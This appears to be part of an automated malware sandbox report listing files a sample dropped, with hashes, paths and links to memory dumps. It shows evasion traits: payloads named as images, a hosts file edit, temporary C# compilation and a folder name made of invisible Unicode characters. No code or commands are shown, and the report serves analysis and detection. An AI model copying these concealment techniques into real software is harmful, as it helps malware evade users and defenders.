SHA256 7df6c3122561670bb52fc8c6043076ea9a040f7c23808e1ea0b8aa0f578d15f8
MD5 6b62883ea442d1c6d4869e3e33376ceb
SHA1 943e4176ad9b0bc6613edef90dcc7a9e7336b80c
SHA512 286e4688ece49c5bcee792515357a7f454d4e6630e18f2ee6bcd41c9fbdc02bd696e7b085a74e075081a0729d927f767e840d4a0be90ee16eb18907c212f880c
SSDEEP 12288:dcq81Sbp28gNmHOdvkvWOwXcbai28jlS94MY9Rqr6:dcq8KQXNf95XINY94HRqr6
TLSH
T1F705332087A4EBA4437B890A8BB3683D5A1970335DFE6F365137ACF0DD31E620B25761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BackupExpand.jpeg

Path C:\Users\Admin\AppData\Local\Temp\ ‎‏ ‍‍ \Common Files\Pictures\BackupExpand.jpeg
Size 1.0MB
SHA256 e5591b557b6d53919191c9cb953ed5775c321fcd745fa1005f72a77b0c15a708
MD5 d5e2e03795cf5a4bb76d05538f39e8da
SHA1 910d997aa6be40ae005377fa5631a61309ee9d1e
SHA512 46fbc0c48716108e913ae8912dce10ba170cdbdec7cc38b5463b778d6612407180adb3441cdc9f72d13a71dae83ebea61f84bab8e51770f89682e569e1803c73
SSDEEP 24576:E9bziEqpwfhjUg8j+mV8qPoNH6oFN4VqykEgW1Dr0QCRi:4bzQ2hjIamVxobXXTW1nH
TLSH
T1903533C9540B70D6B32E5CF5882E5B62C3B006C56B30B69D7444F1AAE1A1A91C5FF1FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BackupWatch.emz

Path C:\Users\Admin\AppData\Local\Temp\ ‎‏ ‍‍ \Common Files\Pictures\BackupWatch.emz
Size 542KB
SHA256 75e93ed4de21d2bf90f564cfde0a0a9f8ab0a3f3ee91d92a459ed5aa47174942
MD5 c6dacef8a28b9ebaea669928766f3ae2
SHA1 7ea00bb34217552fa3a3ad3dddf032c99cfebcb5
SHA512 38d0c88f8dea0dad3ec303c8cfb71d3ac718d79a480d90b3d5bb9410edb148630cc9d7040340faac33aed2047819899f5938d47acec454cef394a412146dcf24
SSDEEP 12288:qkEccCDeIoG9A6KoZhuQe0nc5Wg438B6HI/xytnrWy7/nrfMfQ:g6eIoGZZpSCFA4rWCjUfQ
TLSH
T165C423727A3450A9B66AFCDC704FA5C086A137292C0797164CBE6D9E7CC67CD084A3E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EditBlock.png

Path C:\Users\Admin\AppData\Local\Temp\ ‎‏ ‍‍ \Common Files\Pictures\EditBlock.png
Size 589KB
SHA256 271ad5dafd17c96c7ec54a0dda5069003e9b88aa0703e0e497a4a9d24186f128
MD5 494f655153e31ce67ffe4fac5c519f67
SHA1 73f89095d01d0cc387e7b7e775e8337114721118
SHA512 66fb9237cf2a58f71f87f152abfaa73b16c50ec54e5a8fb1127b6618bf1e622af385c3fa19b5ea59df699ab5d35a345045830468ca7c3833569fb4bfc5743af1
SSDEEP 12288:6g3sMf5xoZ3H2BJZDRpgzOBWTWlgMI/UgyZOafkW+CWkqTKqFejG:6gDM9H2do4WTWu5sgy0afsCIRp
TLSH
T1BFD4236B8789032FA1F5F590A2001F7B167B8B3219453D80B77298EC36767A7142DFAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
MD5 f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1 e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA512 c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6
TLSH
T10451CD360E8590EC22B1C1B90C3CA6D9E20EB1B305DBFDC9798DC65A2F43448EED7251
MD5 SHA1 SHA512 TLSH

Submit Download

CSCE4285159D2B4BD98B3CBF59C54F479F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xfk0mvts\CSCE4285159D2B4BD98B3CBF59C54F479F.TMP
Size 652B
SHA256 1f075d1ab2abf3f22ded9b7d6bf063f3c2ebc3fd66189bab673ea787ed48931b
MD5 f6462691ebe298bc7178d191ee7de4d7
SHA1 30d759c9d1a28abfb1d686c1b3add91a5c14057c
SHA512 48cdb31573ebe475fe74e5776fb5faa7a045292d75d6d0f8e90d72ad7192685b2e6ff3258817b852f28804d0d02886a97d8b5624b3749c462fed6a8382d263eb
TLSH
T1AFF05E0963F8020EF4F38B30BDF6436391A8BC64DE7293ED5950431D2864510C9B2FB2
MD5 SHA1 SHA512 TLSH

Submit Download

xfk0mvts.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xfk0mvts\xfk0mvts.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

xfk0mvts.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xfk0mvts\xfk0mvts.cmdline
Size 607B
SHA256 b3cd7bd929872212f46570931a7e241d3b64a1160fab54e829a186f1c374e1fa
MD5 e9cde19cc53e5c1412ef232877597aed
SHA1 7de81b54507135825f1b991bb2efbd8243ea044e
SHA512 8906fb855de86175da8cf2122d715bb011db298dd7b8e45ded7627f4645985fb77ec92b4c7b98eb1df0a56587d87e8b764b30462f310930f4d5e737cd336b7ef
TLSH
T152F0AC79123FC5BF52E93403156E8AACD233634B30C1EF48AA848C1EE9631014B90799
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1224-168-0x0000019CDBC90000-0x0000019CDBD42000-memory.dmp

Download

memory/3300-226-0x000001F76DCF0000-0x000001F76DCF8000-memory.dmp

Download

memory/5888-59-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp

Download

memory/5888-347-0x00007FFF17050000-0x00007FFF17073000-memory.dmp

Download

memory/5888-144-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-99-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-100-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp

Download

memory/5888-98-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp

Download

memory/5888-97-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp

Download

memory/5888-95-0x00007FFF17030000-0x00007FFF17049000-memory.dmp

Download

memory/5888-96-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp

Download

memory/5888-91-0x00007FFF17050000-0x00007FFF17073000-memory.dmp

Download

memory/5888-343-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp

Download

memory/5888-88-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp

Download

memory/5888-344-0x00007FFF1AD30000-0x00007FFF1AD3F000-memory.dmp

Download

memory/5888-345-0x00007FFF18B60000-0x00007FFF18B8D000-memory.dmp

Download

memory/5888-346-0x00007FFF17080000-0x00007FFF17099000-memory.dmp

Download

memory/5888-349-0x00007FFF17030000-0x00007FFF17049000-memory.dmp

Download

memory/5888-69-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp

Download

memory/5888-75-0x00007FFF0AE40000-0x00007FFF0AF5C000-memory.dmp

Download

memory/5888-72-0x00007FFF14DD0000-0x00007FFF14DDD000-memory.dmp

Download

memory/5888-70-0x00007FFF16F10000-0x00007FFF16F24000-memory.dmp

Download

memory/5888-58-0x00007FFF17030000-0x00007FFF17049000-memory.dmp

Download

memory/5888-64-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-65-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp

Download

memory/5888-60-0x00007FFF17020000-0x00007FFF1702D000-memory.dmp

Download

memory/5888-63-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp

Download

memory/5888-49-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp

Download

memory/5888-47-0x00007FFF17050000-0x00007FFF17073000-memory.dmp

Download

memory/5888-44-0x00007FFF17080000-0x00007FFF17099000-memory.dmp

Download

memory/5888-40-0x00007FFF18B60000-0x00007FFF18B8D000-memory.dmp

Download

memory/5888-32-0x00007FFF1AD30000-0x00007FFF1AD3F000-memory.dmp

Download

memory/5888-30-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp

Download

memory/5888-24-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-298-0x00007FFF1A760000-0x00007FFF1A783000-memory.dmp

Download

memory/5888-306-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp

Download

memory/5888-308-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp

Download

memory/5888-307-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp

Download

memory/5888-303-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp

Download

memory/5888-297-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-312-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-327-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-114-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-342-0x00007FFEFFF40000-0x00007FFF00529000-memory.dmp

Download

memory/5888-348-0x00007FFF0AF60000-0x00007FFF0B0D7000-memory.dmp

Download

memory/5888-353-0x00007FFF16F30000-0x00007FFF16FE8000-memory.dmp

Download

memory/5888-356-0x00007FFF0AE40000-0x00007FFF0AF5C000-memory.dmp

Download

memory/5888-352-0x00007FFEFFBC0000-0x00007FFEFFF38000-memory.dmp

Download

memory/5888-355-0x00007FFF14DD0000-0x00007FFF14DDD000-memory.dmp

Download

memory/5888-354-0x00007FFF16F10000-0x00007FFF16F24000-memory.dmp

Download

memory/5888-351-0x00007FFF16FF0000-0x00007FFF1701E000-memory.dmp

Download

memory/5888-350-0x00007FFF17020000-0x00007FFF1702D000-memory.dmp

Download

memory/5956-78-0x0000016D2AFC0000-0x0000016D2AFE2000-memory.dmp

Download

memory/5956-85-0x0000016D43700000-0x0000016D437B2000-memory.dmp

Download

memory/5956-84-0x0000016D436E0000-0x0000016D436FE000-memory.dmp

Download

memory/5956-89-0x0000016D434C0000-0x0000016D434CA000-memory.dmp

Download

memory/6008-224-0x00000253CD710000-0x00000253CE0B4000-memory.dmp

Download